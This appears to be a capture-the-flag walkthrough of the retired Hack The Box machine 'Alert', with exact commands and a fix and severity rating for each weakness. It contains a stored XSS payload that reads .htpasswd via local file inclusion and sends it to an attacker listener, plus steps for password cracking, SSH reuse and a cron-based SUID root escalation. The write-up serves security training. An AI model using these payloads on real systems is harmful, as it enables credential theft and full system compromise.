Alert
Summary
I scanned alert.htb and found a PHP markdown-viewer application that accepted file uploads and rendered them without sanitizing HTML or JavaScript, enabling stored cross-site scripting. A share-link feature combined with a contact form that dispatched an admin bot was abused to execute JavaScript in the administrator's browser. The injected payload exploited a local file inclusion vulnerability in the app's page-routing parameter to read an HTTP Basic Auth credential file from a second virtual host, exfiltrating the hash to my listener.
The cracked hash was reused as an SSH password, granting a low-privileged shell. Post-login enumeration revealed that a root-owned cron script consumed files from a directory writable by the compromised user's group; injecting a command into that path produced a root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"Some commands also carry a value in angle brackets — <base64_value_from_listener>, <extracted_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm open ports, service banners, and page title.
$ nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGETMap the vhost so subsequent HTTP requests resolve correctly.
$ echo "$TARGET alert.htb" | sudo tee -a /etc/hostsRetrieve the landing page and enumerate navigation links.
$ curl -s http://alert.htb/Exact commands 4
Fuzz for additional virtual hosts on the same IP.
$ ffuf -u http://alert.htb/ -H 'Host: FUZZ.alert.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302,404Register the discovered secondary vhost.
$ echo "$TARGET statistics.alert.htb" | sudo tee -a /etc/hostsConfirm HTTP Basic Auth is required and note the realm name.
$ curl -sv http://statistics.alert.htb/ 2>&1 | grep -i 'www-authenticate\|401'Retrieve the contact form to enumerate field names and action target.
$ curl -s 'http://alert.htb/index.php?page=contact'FixIsolate internal virtual hosts and store credential files outside the document rootMedium
Exact commands 2
Replace $ATTACKER_IP with your HTB VPN IP. The XSS reads .htpasswd via LFI and exfiltrates it base64-encoded.
$ cat > /tmp/payload.md <<EOF
# Alert
<script>var x=new XMLHttpRequest();x.open('GET','http://alert.htb/index.php?page=../../var/www/statistics.alert.htb/.htpasswd',false);x.send();fetch("http://$ATTACKER_IP:8000/?d="+btoa(x.responseText));</script>
EOFUpload the malicious markdown; record the link_share= value from the response.
$ curl -s -F 'file=@/tmp/payload.md' http://alert.htb/visualizer.phpFixSanitize markdown output and lock the page-routing parameter to a safe allowlistCritical
Exact commands 3
Start a listener to capture the exfiltrated hash (run in a separate terminal).
$ python3 -m http.server 8000Submit the share URL via the contact form; adjust field names to match those found in step 2.
$ curl -s -X POST 'http://alert.htb/index.php?page=contact' --data "email=$USERNAME@evil.com&message=http://alert.htb/visualizer.php?link_share=6a4bfa50cea137.13769364.md"Decode the exfiltrated .htpasswd line to reveal the username and hash.
$ echo '<base64_value_from_listener>' | base64 -dExact commands 2
Paste the full username:hash line from the decoded .htpasswd output.
$ echo 'albert:$apr1$<extracted_hash>' > /tmp/htpasswd.hashMode 1600 = Apache MD5 ($apr1$). Switch to -m 3200 if the hash begins with $2y$ (bcrypt).
$ hashcat -m 1600 /tmp/htpasswd.hash /usr/share/wordlists/rockyou.txt --forceFixUse strong, unique passwords for HTTP Basic Auth and prohibit credential reuse across servicesHigh
Exact commands 2
Authenticate with the plaintext password recovered in the previous step.
$ ssh albert@$TARGETRead the user flag: <user.txt>
$ cat ~/user.txtExact commands 4
Identify group memberships, scheduled tasks, and paths writable by the current user's group.
$ id && cat /etc/crontab /etc/cron.d/* 2>/dev/null && find / -writable -group "$(id -gn)" 2>/dev/null | grep -v procAppend a SUID-bash payload; replace the path with the actual writable script discovered above.
$ echo 'chmod +s /bin/bash' >> /path/to/group-writable/script.shAfter the cron fires (wait up to one minute), execute bash with preserved effective UID root.
$ /bin/bash -pRead the root flag: <root.txt>
$ cat /root/root.txtFixRemove group-write access to scripts and directories consumed by root-owned scheduled jobsCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.